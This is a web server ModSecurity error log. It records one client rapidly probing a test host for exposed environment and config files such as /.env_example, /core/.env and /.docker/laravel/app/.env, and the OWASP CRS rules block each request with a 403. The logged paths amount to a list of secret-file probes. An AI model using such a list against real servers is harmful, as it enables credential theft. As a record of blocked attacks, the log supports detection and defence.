[Thu Feb 26 01:02:47.024419 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.backup&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk1AAAAAI&quot;]
[Thu Feb 26 01:02:47.024627 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/env.backup&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk1AAAAAI&quot;]
[Thu Feb 26 01:02:47.102939 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_example&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_example&quot;] [unique_id &quot;aZ-Npw3HqGC30X9HPoEkWwAAAAM&quot;]
[Thu Feb 26 01:02:47.103214 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_example&quot;] [unique_id &quot;aZ-Npw3HqGC30X9HPoEkWwAAAAM&quot;]
[Thu Feb 26 01:02:47.103381 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_example&quot;] [unique_id &quot;aZ-Npw3HqGC30X9HPoEkWwAAAAM&quot;]
[Thu Feb 26 01:02:47.131174 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /core/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aZ-Npw3HqGC30X9HPoEkXAAAAAM&quot;]
[Thu Feb 26 01:02:47.131456 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aZ-Npw3HqGC30X9HPoEkXAAAAAM&quot;]
[Thu Feb 26 01:02:47.131652 2026] [:error] [pid 2330791] [client 185.177.72.22:9446] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/core/.env&quot;] [unique_id &quot;aZ-Npw3HqGC30X9HPoEkXAAAAAM&quot;]
[Thu Feb 26 01:02:47.215005 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /js/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js/.env&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk2QAAAAI&quot;]
[Thu Feb 26 01:02:47.215292 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js/.env&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk2QAAAAI&quot;]
[Thu Feb 26 01:02:47.215485 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/js/.env&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk2QAAAAI&quot;]
[Thu Feb 26 01:02:47.248180 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/core/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk2gAAAAI&quot;]
[Thu Feb 26 01:02:47.248473 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk2gAAAAI&quot;]
[Thu Feb 26 01:02:47.248660 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk2gAAAAI&quot;]
[Thu Feb 26 01:02:47.273467 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /nginx/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx/.env&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk2wAAAAI&quot;]
[Thu Feb 26 01:02:47.273773 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx/.env&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk2wAAAAI&quot;]
[Thu Feb 26 01:02:47.273974 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/nginx/.env&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk2wAAAAI&quot;]
[Thu Feb 26 01:02:47.329635 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /site/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk3AAAAAI&quot;]
[Thu Feb 26 01:02:47.329908 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk3AAAAAI&quot;]
[Thu Feb 26 01:02:47.330082 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk3AAAAAI&quot;]
[Thu Feb 26 01:02:47.368428 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /local/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;aZ-Np5qP6Uim1aZiP_g4FgAAAAY&quot;]
[Thu Feb 26 01:02:47.368692 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;aZ-Np5qP6Uim1aZiP_g4FgAAAAY&quot;]
[Thu Feb 26 01:02:47.368855 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;aZ-Np5qP6Uim1aZiP_g4FgAAAAY&quot;]
[Thu Feb 26 01:02:47.380844 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /xampp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/xampp/.env&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk3QAAAAI&quot;]
[Thu Feb 26 01:02:47.381093 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/xampp/.env&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk3QAAAAI&quot;]
[Thu Feb 26 01:02:47.381245 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/xampp/.env&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk3QAAAAI&quot;]
[Thu Feb 26 01:02:47.407269 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aZ-Np5qP6Uim1aZiP_g4FwAAAAY&quot;]
[Thu Feb 26 01:02:47.407514 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aZ-Np5qP6Uim1aZiP_g4FwAAAAY&quot;]
[Thu Feb 26 01:02:47.407683 2026] [:error] [pid 2331047] [client 185.177.72.22:23982] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;aZ-Np5qP6Uim1aZiP_g4FwAAAAY&quot;]
[Thu Feb 26 01:02:47.415148 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;.docker/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .docker/ found within REQUEST_FILENAME: /.docker/laravel/app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/laravel/app/.env&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk3gAAAAI&quot;]
[Thu Feb 26 01:02:47.415398 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/laravel/app/.env&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk3gAAAAI&quot;]
[Thu Feb 26 01:02:47.415553 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/laravel/app/.env&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk3gAAAAI&quot;]
[Thu Feb 26 01:02:47.451595 2026] [:error] [pid 2330790] [client 185.177.72.22:9448] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env.local&quot;] [unique_id &quot;aZ-Np4Cbt-ue5ARpbmjk3wAAAAI&quot;]
